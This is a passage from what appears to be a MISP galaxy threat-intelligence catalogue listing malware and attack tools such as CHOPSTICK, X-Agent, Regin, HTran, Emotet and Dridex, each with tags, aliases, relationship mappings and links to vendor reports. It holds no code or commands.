- Hupigon
- BKDR_HUPIGON

Table 7166. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/japan-us-defense-industries-among-targeted-entities-in-latest-attack/

Blackshades

Blackshades Remote Access Tool targets Microsoft Windows operating systems. Authors were arrested in 2012 and 2014.

The tag is: *misp-galaxy:tool="Blackshades"*

View relationships graph

Blackshades has relationships with:

- similar: misp-galaxy:rat="Blackshades" with estimative-language:likelihood-probability="likely"

Table 7167. Table References

Links
https://www.justice.gov/usao-sdny/pr/manhattan-us-attorney-and-fbi-assistant-director-charge-announce-charges-connection
https://blog.malwarebytes.org/intelligence/2012/06/you-dirty-rat-part-2-blackshades-net/

CHOPSTICK

backdoor used by apt28

The tag is: *misp-galaxy:tool="CHOPSTICK"*

CHOPSTICK is also known as:

- webhp
- SPLM

- (.v2 fysbis)

View relationships graph

CHOPSTICK has relationships with:

- similar: misp-galaxy:mitre-malware="CHOPSTICK - S0023" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="X-Agent for Android - S0314" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="X-Agent" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="X-Agent (Android)" with estimative-language:likelihood-probability="likely"

Table 7168. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf

EVILTOSS

backdoor used by apt28

Sedreco serves as a spying backdoor; its functionalities can be extended with dynamically loaded plugins. It is made up of two distinct components: a dropper and the persistent payload installed by this dropper. We have not seen this component since April 2016.

The tag is: *misp-galaxy:tool="EVILTOSS"*

EVILTOSS is also known as:

- Sedreco
- AZZY
- ADVSTORESHELL
- NETUI

View relationships graph

EVILTOSS has relationships with:

- similar: misp-galaxy:mitre-malware="ADVSTORESHELL - S0045" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Sedreco" with estimative-language:likelihood-probability="likely"

Table 7169. Table References

Links

https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf

GAMEFISH

backdoor

The tag is: *misp-galaxy:tool="GAMEFISH"*

GAMEFISH is also known as:

- Sednit
- Seduploader
- JHUHUGIT
- Sofacy

View relationships graph

GAMEFISH has relationships with:

- similar: misp-galaxy:mitre-malware="JHUHUGIT - S0044" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Sofacy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="Komplex - S0162" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Komplex" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Seduploader" with estimative-language:likelihood-probability="likely"

Table 7170. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf

SOURFACE

downloader - Older version of CORESHELL

The tag is: *misp-galaxy:tool="SOURFACE"*

SOURFACE is also known as:

- Sofacy

[View relationships graph]

SOURFACE has relationships with:

- similar: misp-galaxy:mitre-malware="CORESHELL - S0137" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Sofacy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="JHUHUGIT - S0044" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="GAMEFISH" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="Komplex - S0162" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Komplex" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Seduploader" with estimative-language:likelihood-probability="likely"

Table 7171. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf

OLDBAIT

credential harvester

The tag is: *misp-galaxy:tool="OLDBAIT"*

OLDBAIT is also known as:

- Sasfis
- BackDoor-FDU
- IEChecker

[View relationships graph]

OLDBAIT has relationships with:

- similar: misp-galaxy:mitre-malware="OLDBAIT - S0138" with estimative-language:likelihood-probability="likely"

Table 7172. Table References

Links

https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_sasfis.tl
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf

CORESHELL

downloader - Newer version of SOURFACE

The tag is: *misp-galaxy:tool="CORESHELL"*

CORESHELL is also known as:

- Sofacy

View relationships graph

CORESHELL has relationships with:

- similar: misp-galaxy:mitre-malware="CORESHELL - S0137" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Sofacy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="JHUHUGIT - S0044" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="GAMEFISH" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="Komplex - S0162" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Komplex" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Seduploader" with estimative-language:likelihood-probability="likely"

Table 7173. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf

Havex RAT

The tag is: *misp-galaxy:tool="Havex RAT"*

Havex RAT is also known as:

- Havex

View relationships graph

Havex RAT has relationships with:

- similar: misp-galaxy:mitre-malware="Backdoor.Oldrea - S0093" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Havex RAT" with estimative-language:likelihood-probability="likely"

KjW0rm

RAT initially written in VB.

The tag is: *misp-galaxy:tool="KjW0rm"*

View relationships graph

KjW0rm has relationships with:

- similar: misp-galaxy:rat="KjW0rm" with estimative-language:likelihood-probability="likely"

Table 7174. Table References

Links
https://www.sentinelone.com/blog/understanding-kjw0rm-malware-we-dive-in-to-the-tv5-cyber-attack/

TinyTyphon

The tag is: *misp-galaxy:tool="TinyTyphon"*

View relationships graph

TinyTyphon has relationships with:

- similar: misp-galaxy:malpedia="TinyTyphon" with estimative-language:likelihood-probability="likely"

Badnews

The tag is: *misp-galaxy:tool="Badnews"*

LURK

The tag is: *misp-galaxy:tool="LURK"*

Oldrea

The tag is: *misp-galaxy:tool="Oldrea"*

AmmyAdmin

The tag is: *misp-galaxy:tool="AmmyAdmin"*

Matryoshka

The tag is: *misp-galaxy:tool="Matryoshka"*

View relationships graph

Matryoshka has relationships with:

- similar: misp-galaxy:rat="Matryoshka" with estimative-language:likelihood-probability="likely"

TinyZBot

The tag is: *misp-galaxy:tool="TinyZBot"*

View relationships graph

TinyZBot has relationships with:

- similar: misp-galaxy:mitre-malware="TinyZBot - S0004" with estimative-language:likelihood-probability="likely"

GHOLE

The tag is: *misp-galaxy:tool="GHOLE"*

CWoolger

The tag is: *misp-galaxy:tool="CWoolger"*

FireMalv

The tag is: *misp-galaxy:tool="FireMalv"*

View relationships graph

FireMalv has relationships with:

- similar: misp-galaxy:malpedia="FireMalv" with estimative-language:likelihood-probability="likely"

Regin

Regin (also known as Prax or WarriorPride) is a sophisticated malware toolkit revealed by Kaspersky Lab, Symantec, and The Intercept in November 2014. The malware targets specific users of Microsoft Windows-based computers and has been linked to the US intelligence gathering agency NSA and its British counterpart, the GCHQ. The Intercept provided samples of Regin for download including malware discovered at Belgian telecommunications provider, Belgacom. Kaspersky Lab says it first became aware of Regin in spring 2012, but that some of the earliest samples date from 2003. The name Regin is first found on the VirusTotal website on 9 March 2011.

The tag is: *misp-galaxy:tool="Regin"*

Regin is also known as:

- Prax
- WarriorPride

View relationships graph

Regin has relationships with:

- similar: misp-galaxy:mitre-malware="Regin - S0019" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Regin" with estimative-language:likelihood-probability="likely"

Table 7175. Table References

Links
https://en.wikipedia.org/wiki/Regin_(malware)

Duqu

The tag is: *misp-galaxy:tool="Duqu"*

View relationships graph

Duqu has relationships with:

- similar: misp-galaxy:mitre-malware="Duqu - S0038" with estimative-language:likelihood-probability="likely"

Flame

The tag is: *misp-galaxy:tool="Flame"*

View relationships graph

Flame has relationships with:

- similar: misp-galaxy:mitre-malware="Flame - S0143" with estimative-language:likelihood-probability="likely"

Stuxnet

The tag is: *misp-galaxy:tool="Stuxnet"*

View relationships graph

Stuxnet has relationships with:

- similar: misp-galaxy:malpedia="Stuxnet" with estimative-language:likelihood-probability="likely"

EquationLaser

The tag is: *misp-galaxy:tool="EquationLaser"*

EquationDrug

The tag is: *misp-galaxy:tool="EquationDrug"*

View relationships graph

EquationDrug has relationships with:

- similar: misp-galaxy:malpedia="EquationDrug" with estimative-language:likelihood-probability="likely"

DoubleFantasy

The tag is: *misp-galaxy:tool="DoubleFantasy"*

TripleFantasy

The tag is: *misp-galaxy:tool="TripleFantasy"*

Fanny

The tag is: *misp-galaxy:tool="Fanny"*

View relationships graph

Fanny has relationships with:

- similar: misp-galaxy:malpedia="Fanny" with estimative-language:likelihood-probability="likely"

GrayFish

The tag is: *misp-galaxy:tool="GrayFish"*

Babar

The tag is: *misp-galaxy:tool="Babar"*

View relationships graph

Babar has relationships with:

- similar: misp-galaxy:malpedia="Babar" with estimative-language:likelihood-probability="likely"

Bunny

The tag is: *misp-galaxy:tool="Bunny"*

Casper

The tag is: *misp-galaxy:tool="Casper"*

View relationships graph

Casper has relationships with:

- similar: misp-galaxy:malpedia="Casper" with estimative-language:likelihood-probability="likely"

NBot

The tag is: *misp-galaxy:tool="NBot"*

Tafacalou

The tag is: *misp-galaxy:tool="Tafacalou"*

Tdrop

The tag is: *misp-galaxy:tool="Tdrop"*

Troy

The tag is: *misp-galaxy:tool="Troy"*

Tdrop2

The tag is: *misp-galaxy:tool="Tdrop2"*

ZXShell

ZxShell is a remote access trojan (RAT). It was developed in 2006 by the persona "LZX", who then publicly released the source code in 2007

The tag is: *misp-galaxy:tool="ZXShell"*

ZXShell is also known as:

- Sensode

View relationships graph

ZXShell has relationships with:

- similar: misp-galaxy:malpedia="ZXShell" with estimative-language:likelihood-probability="likely"

Table 7176. Table References

Links
http://www.fireeye.com/blog/uncategorized/2014/02/operation-snowman-deputydog-actor-compromises-us-veterans-of-foreign-wars-website.html
https://blogs.cisco.com/security/talos/opening-zxshell
https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox

T9000

The tag is: *misp-galaxy:tool="T9000"*

View relationships graph

T9000 has relationships with:

- similar: misp-galaxy:mitre-malware="T9000 - S0098" with estimative-language:likelihood-probability="likely"

Table 7177. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/

T5000

The tag is: *misp-galaxy:tool="T5000"*

T5000 is also known as:

- Plat1

Table 7178. Table References

Links
http://www.cylance.com/techblog/Grand-Theft-Auto-Panda.shtml

Taidoor

The tag is: *misp-galaxy:tool="Taidoor"*

View relationships graph

Taidoor has relationships with:

- similar: misp-galaxy:mitre-malware="Taidoor - S0011" with estimative-language:likelihood-probability="likely"

Table 7179. Table References

Links
http://www.symantec.com/connect/blogs/trojantaidoor-takes-aim-policy-think-tanks

Swisyn

The tag is: *misp-galaxy:tool="Swisyn"*

Table 7180. Table References

Links
http://labs.alienvault.com/labs/index.php/2013/latest-adobe-pdf-exploit-used-to-target-uyghur-and-tibetan-activists/

Rekaf

The tag is: *misp-galaxy:tool="Rekaf"*

Table 7181. Table References

Links
https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks

Scieron

The tag is: *misp-galaxy:tool="Scieron"*

SkeletonKey

The tag is: *misp-galaxy:tool="SkeletonKey"*

Table 7182. Table References

Links
http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/

Skyipot

The tag is: *misp-galaxy:tool="Skyipot"*

Table 7183. Table References

Links
http://labs.alienvault.com/labs/index.php/2011/another-sykipot-sample-likely-targeting-us-federal-agencies/

Spindest

The tag is: *misp-galaxy:tool="Spindest"*

Table 7184. Table References

Links
http://www.threatconnect.com/news/threatconnect-enables-healthy-networking-biomed-life-sciences-industry/

Preshin

The tag is: *misp-galaxy:tool="Preshin"*

Oficla

The tag is: *misp-galaxy:tool="Oficla"*

View relationships graph

Oficla has relationships with:

- similar: misp-galaxy:botnet="BredoLab" with estimative-language:likelihood-probability="likely"

PCClient RAT

The tag is: *misp-galaxy:tool="PCClient RAT"*

Table 7185. Table References

Links
http://researchcenter.paloaltonetworks.com/2014/10/new-indicators-compromise-apt-group-nitro-uncovered/

Plexor

The tag is: *misp-galaxy:tool="Plexor"*

Mongall

The tag is: *misp-galaxy:tool="Mongall"*

Table 7186. Table References

Links
https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html

NeD Worm

The tag is: *misp-galaxy:tool="NeD Worm"*

View relationships graph

NeD Worm has relationships with:

- similar: misp-galaxy:mitre-malware="DustySky - S0062" with estimative-language:likelihood-probability="likely"

Table 7187. Table References

Links
http://www.clearskysec.com/dustysky/

NewCT

The tag is: *misp-galaxy:tool="NewCT"*

View relationships graph

NewCT has relationships with:

- similar: misp-galaxy:malpedia="NewCT" with estimative-language:likelihood-probability="likely"

Table 7188. Table References

Links
https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html

Nflog

The tag is: *misp-galaxy:tool="Nflog"*

Table 7189. Table References

Links
https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html

Janicab

The tag is: *misp-galaxy:tool="Janicab"*

View relationships graph

Janicab has relationships with:

- similar: misp-galaxy:mitre-malware="Janicab - S0163" with estimative-language:likelihood-probability="likely"

Table 7190. Table References

Links
http://blog.avast.com/2013/07/22/multisystem-trojan-janicab-attacks-windows-and-macosx-via-scripts/

Jripbot

The tag is: *misp-galaxy:tool="Jripbot"*

Jripbot is also known as:

- Jiripbot

Table 7191. Table References

Links
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/butterfly-corporate-spies-out-for-financial-gain.pdf

Jolob

The tag is: *misp-galaxy:tool="Jolob"*

View relationships graph

Jolob has relationships with:

- similar: misp-galaxy:malpedia="Jolob" with estimative-language:likelihood-probability="likely"

Table 7192. Table References

Links
http://pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos-affected-and-whos-using-it-1.html

IsSpace

The tag is: *misp-galaxy:tool="IsSpace"*

View relationships graph

IsSpace has relationships with:

- similar: misp-galaxy:malpedia="IsSpace" with estimative-language:likelihood-probability="likely"

Table 7193. Table References

Links
https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html

Emotet

The tag is: *misp-galaxy:tool="Emotet"*

Emotet is also known as:

- Geodo

View relationships graph

Emotet has relationships with:

- similar: misp-galaxy:banker="Geodo" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Emotet" with estimative-language:likelihood-probability="likely"

Table 7194. Table References

Links
https://securelist.com/analysis/publications/69560/the-banking-trojan-emotet-detailed-analysis/
https://www.forcepoint.com/blog/security-labs/thanks-giving-emotet
https://www.bleepingcomputer.com/news/security/emotet-returns-with-thanksgiving-theme-and-better-phishing-tricks/
https://cofense.com/major-us-financial-institutions-imitated-advanced-geodo-emotet-phishing-lures-appear-authentic-containing-proofpoint-url-wrapped-links/

Hoardy

The tag is: *misp-galaxy:tool="Hoardy"*

Hoardy is also known as:

- Hoarde
- Phindolp
- BS2005

View relationships graph

Hoardy has relationships with:

- similar: misp-galaxy:mitre-malware="BS2005 - S0014" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="BS2005" with estimative-language:likelihood-probability="likely"

Table 7195. Table References

Links
https://github.com/nccgroup/Royal_APT

Htran

HUC Packet Transmitter (HTran) is a proxy tool, used to intercept and redirect Transmission Control Protocol (TCP) connections from the local host to a remote host. This makes it possible to obfuscate an attacker’s communications with victim networks. The tool has been freely available on the internet since at least 2009. HTran facilitates TCP connections between the victim and a hop point controlled by an attacker. Malicious cyber actors can use this technique to redirect their packets through multiple compromised hosts running HTran, to gain greater access to hosts in a network

The tag is: *misp-galaxy:tool="Htran"*

Htran is also known as:

- HUC Packet Transmitter
- HTran

Table 7196. Table References

Links
http://www.secureworks.com/research/threats/htran/
https://www.ncsc.gov.uk/content/files/protected_files/article_files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf

HTTPBrowser

The tag is: *misp-galaxy:tool="HTTPBrowser"*

HTTPBrowser is also known as:

- TokenControl

View relationships graph

HTTPBrowser has relationships with:

- similar: misp-galaxy:mitre-malware="HTTPBrowser - S0070" with estimative-language:likelihood-probability="likely"

Table 7197. Table References

Links
https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop

Disgufa

The tag is: *misp-galaxy:tool="Disgufa"*

Elirks

The tag is: *misp-galaxy:tool="Elirks"*

View relationships graph

Elirks has relationships with:

- similar: misp-galaxy:malpedia="Elirks" with estimative-language:likelihood-probability="likely"

Snifula

The tag is: *misp-galaxy:tool="Snifula"*

Snifula is also known as:

- Ursnif

View relationships graph

Snifula has relationships with:

- similar: misp-galaxy:banker="Gozi" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Gozi" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Snifula" with estimative-language:likelihood-probability="likely"

Table 7198. Table References

Links
https://www.circl.lu/pub/tr-13/

Aumlib

The tag is: *misp-galaxy:tool="Aumlib"*

Aumlib is also known as:

- Yayih
- mswab
- Graftor

View relationships graph

Aumlib has relationships with:

- similar: misp-galaxy:malpedia="Graftor" with estimative-language:likelihood-probability="likely"

Table 7199. Table References

Links
http://www.cybersquared.com/killing-with-a-borrowed-knife-chaining-core-cloud-service-profile-infrastructure-for-cyber-attacks

CTRat

The tag is: *misp-galaxy:tool="CTRat"*

Table 7200. Table References

Links

http://www.fireeye.com/blog/technical/threat-intelligence/2014/07/spy-of-the-tiger.html

Emdivi

The tag is: *misp-galaxy:tool="Emdivi"*

Emdivi is also known as:

- Newsripper

View relationships graph

Emdivi has relationships with:

- similar: misp-galaxy:malpedia="Emdivi" with estimative-language:likelihood-probability="likely"

Table 7201. Table References

Links
http://www.symantec.com/connect/blogs/operation-cloudyomega-ichitaro-zero-day-and-ongoing-cyberespionage-campaign-targeting-japan

Etumbot

The tag is: *misp-galaxy:tool="Etumbot"*

Etumbot is also known as:

- Exploz
- Specfix
- RIPTIDE

View relationships graph

Etumbot has relationships with:

- similar: misp-galaxy:mitre-malware="RIPTIDE - S0003" with estimative-language:likelihood-probability="likely"

Table 7202. Table References

Links
www.arbornetworks.com/asert/wp-content/uploads/2014/06/ASERT-Threat-Intelligence-Brief-2014-07-Illuminating-Etumbot-APT.pdf[www.arbornetworks.com/asert/wp-content/uploads/2014/06/ASERT-Threat-Intelligence-Brief-2014-07-Illuminating-Etumbot-APT.pdf]

Fexel

The tag is: *misp-galaxy:tool="Fexel"*

Fexel is also known as:

- Loneagent

Fysbis

The tag is: *misp-galaxy:tool="Fysbis"*

Table 7203. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/

Hikit

The tag is: *misp-galaxy:tool="Hikit"*

View relationships graph

Hikit has relationships with:

- similar: misp-galaxy:mitre-malware="Hikit - S0009" with estimative-language:likelihood-probability="likely"

Table 7204. Table References

Links
https://blog.bit9.com/2013/02/25/bit9-security-incident-update/

Hancitor

The tag is: *misp-galaxy:tool="Hancitor"*

Hancitor is also known as:

- Tordal
- Chanitor
- Pony

View relationships graph

Hancitor has relationships with:

- similar: misp-galaxy:malpedia="Hancitor" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:malpedia="Pony" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Fareit" with estimative-language:likelihood-probability="likely"

Table 7205. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear

Ruckguv

The tag is: *misp-galaxy:tool="Ruckguv"*

View relationships graph

Ruckguv has relationships with:

- similar: misp-galaxy:malpedia="Ruckguv" with estimative-language:likelihood-probability="likely"

Table 7206. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear

HerHer Trojan

The tag is: *misp-galaxy:tool="HerHer Trojan"*

Table 7207. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/

Helminth backdoor

The tag is: *misp-galaxy:tool="Helminth backdoor"*

Table 7208. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/

HDRoot

The tag is: *misp-galaxy:tool="HDRoot"*

Table 7209. Table References

Links
http://williamshowalter.com/a-universal-windows-bootkit/

IRONGATE

The tag is: *misp-galaxy:tool="IRONGATE"*

Table 7210. Table References

Links
https://www.fireeye.com/blog/threat-research/2016/06/irongate_ics_malware.html

ShimRAT

The tag is: *misp-galaxy:tool="ShimRAT"*

Table 7211. Table References

Links
https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf

X-Agent

APT28's second-stage persistent macOS backdoor. This backdoor component is known to have a modular structure featuring various espionage functionalities, such as key-logging, screen grabbing and file exfiltration. This component is available for Osx, Windows, Linux and iOS operating systems.

Xagent is a modular backdoor with spying functionalities such as keystroke logging and file exfiltration. Xagent is the group's flagship backdoor and heavily used in their operations. Early versions for Linux and Windows were seen years ago, then in 2015 an iOS version came out. One year later, an Android version was discovered and finally, in the beginning of 2017, an Xagent sample for OS X was described.

The tag is: *misp-galaxy:tool="X-Agent"*

X-Agent is also known as:

- XAgent

View relationships graph

X-Agent has relationships with:

- similar: misp-galaxy:mitre-malware="CHOPSTICK - S0023" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="X-Agent for Android - S0314" with estimative-

language:likelihood-probability="likely"

- similar: misp-galaxy:tool="CHOPSTICK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="X-Agent (Android)" with estimative-language:likelihood-probability="likely"

Table 7212. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-update-ios-espionage-app-found/
https://app.box.com/s/l7n781ig6n8wlf1aff5hgwbh4qoi5jqq
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/
https://objective-see.com/blog/blog_0x25.html#XAgent

X-Tunnel

The tag is: *misp-galaxy:tool="X-Tunnel"*

X-Tunnel is also known as:

- XTunnel

View relationships graph

X-Tunnel has relationships with:

- similar: misp-galaxy:mitre-malware="XTunnel - S0117" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="XTunnel" with estimative-language:likelihood-probability="likely"

Foozer

The tag is: *misp-galaxy:tool="Foozer"*

Table 7213. Table References

Links
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/

WinIDS

The tag is: *misp-galaxy:tool="WinIDS"*

Table 7214. Table References

Links

https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/

DownRange

The tag is: *misp-galaxy:tool="DownRange"*

Table 7215. Table References

Links
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/

Mad Max

The tag is: *misp-galaxy:tool="Mad Max"*

View relationships graph

Mad Max has relationships with:

- similar: misp-galaxy:botnet="Madmax" with estimative-language:likelihood-probability="likely"

Table 7216. Table References

Links
https://www.arbornetworks.com/blog/asert/mad-max-dga/

Crimson

Crimson is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims

The tag is: *misp-galaxy:tool="Crimson"*

View relationships graph

Crimson has relationships with:

- similar: misp-galaxy:rat="Crimson" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="Crimson - S0115" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Crimson RAT" with estimative-language:likelihood-probability="likely"

Table 7217. Table References

Links
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf

https://www.amnesty.org/download/Documents/ASA3383662018ENGLISH.PDF

Prikormka

Operation Groundbait based on our research into the Prikormka malware family. This includes detailed technical analysis of the Prikormka malware family and its spreading mechanisms, and a description of the most noteworthy attack campaigns.

The tag is: *misp-galaxy:tool="Prikormka"*

View relationships graph

Prikormka has relationships with:

- similar: misp-galaxy:mitre-malware="Prikormka - S0113" with estimative-language:likelihood-probability="likely"

Table 7218. Table References

Links
http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf

NanHaiShu

This whitepaper details a malicious program we identify as NanHaiShu. Based on our analysis, the threat actor behind this malware targets government and private-sector organizations.

The tag is: *misp-galaxy:tool="NanHaiShu"*

View relationships graph

NanHaiShu has relationships with:

- similar: misp-galaxy:mitre-malware="NanHaiShu - S0228" with estimative-language:likelihood-probability="likely"

Table 7219. Table References

Links
https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf

Umbreon

Umbreon (sharing the same name as the Pokémon) targets Linux systems, including systems running both Intel and ARM processors, expanding the scope of this threat to include embedded devices as well.

The tag is: *misp-galaxy:tool="Umbreon"*

[View relationships graph]

Umbreon has relationships with:

- similar: misp-galaxy:mitre-malware="Umbreon - S0221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Umbreon" with estimative-language:likelihood-probability="likely"

Table 7220. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/

Odinaff

Odinaff is typically deployed in the first stage of an attack, to gain a foothold onto the network, providing a persistent presence and the ability to install additional tools onto the target network. These additional tools bear the hallmarks of a sophisticated attacker which has plagued the financial industry since at least 2013–Carbanak. This new wave of attacks has also used some infrastructure that has previously been used in Carbanak campaigns.

The tag is: *misp-galaxy:tool="Odinaff"*

[View relationships graph]

Odinaff has relationships with:

- similar: misp-galaxy:malpedia="Odinaff" with estimative-language:likelihood-probability="likely"

Table 7221. Table References

Links
https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks

Hworm

Unit 42 has observed a new version of Hworm (or Houdini) being used within multiple attacks. This blog outlines technical details of this new Hworm version and documents an attack campaign making use of the backdoor. Of the samples used in this attack, the first we observed were June 2016, while as-of publication we were still seeing attacks as recently as mid-October, suggesting that this is likely an active, ongoing campaign.

The tag is: *misp-galaxy:tool="Hworm"*

Hworm is also known as:

- Houdini

Table 7222. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/10/unit42-houdinis-magic-reappearance/

Backdoor.Dripion

Backdoor.Dripion was custom developed, deployed in a highly targeted fashion, and used command and control servers disguised as antivirus company websites.

The tag is: *misp-galaxy:tool="Backdoor.Dripion"*

Backdoor.Dripion is also known as:

- Dripion

Table 7223. Table References

Links
http://www.symantec.com/connect/blogs/taiwan-targeted-new-cyberespionage-back-door-trojan

Adwind

Adwind is a backdoor written purely in Java that targets system supporting the Java runtime environment. Commands that can be used, among other things, to display messages on the system, open URLs, update the malware, download/execute files, and download/load plugins. A significant amount of additional functionality can be provided through downloadable plugins, including such things as remote control options and shell command execution.

The tag is: *misp-galaxy:tool="Adwind"*

Adwind is also known as:

- AlienSpy
- Frutas
- Unrecom
- Sockrat
- JSocket
- jRat
- Backdoor:Java/Adwind

View relationships graph

Adwind has relationships with:

- similar: misp-galaxy:rat="Adwind RAT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Adwind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Sockrat" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="AdWind" with estimative-language:likelihood-probability="likely"

Table 7224. Table References

Links
https://securelist.com/blog/research/73660/adwind-faq/

Bedep

The tag is: *misp-galaxy:tool="Bedep"*

View relationships graph

Bedep has relationships with:

- similar: misp-galaxy:malpedia="Bedep" with estimative-language:likelihood-probability="likely"

Cromptui

The tag is: *misp-galaxy:tool="Cromptui"*

Dridex

Dridex is a strain of banking malware that leverages macros in Microsoft Office to infect systems. Once a computer has been infected, Dridex attackers can steal banking credentials and other personal information on the system to gain access to the financial records of a user.

The tag is: *misp-galaxy:tool="Dridex"*

Dridex is also known as:

- Cridex

View relationships graph

Dridex has relationships with:

- similar: misp-galaxy:banker="Dridex" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Dridex" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="Feodo" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Feodo" with estimative-language:likelihood-probability="likely"

Table 7225. Table References

Links
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dridex-financial-trojan.pdf

Fareit

The tag is: *misp-galaxy:tool="Fareit"*

View relationships graph

Fareit has relationships with:

- similar: misp-galaxy:malpedia="Pony" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Hancitor" with estimative-language:likelihood-probability="likely"

Gafgyt

The tag is: *misp-galaxy:tool="Gafgyt"*

View relationships graph

Gafgyt has relationships with:

- similar: misp-galaxy:malpedia="Bashlite" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:botnet="Gafgyt" with estimative-language:likelihood-probability="likely"

Gamarue

The tag is: *misp-galaxy:tool="Gamarue"*

Gamarue is also known as:

- Andromeda

View relationships graph

Gamarue has relationships with:

- similar: misp-galaxy:malpedia="Andromeda" with estimative-language:likelihood-probability="likely"

Table 7226. Table References

Links
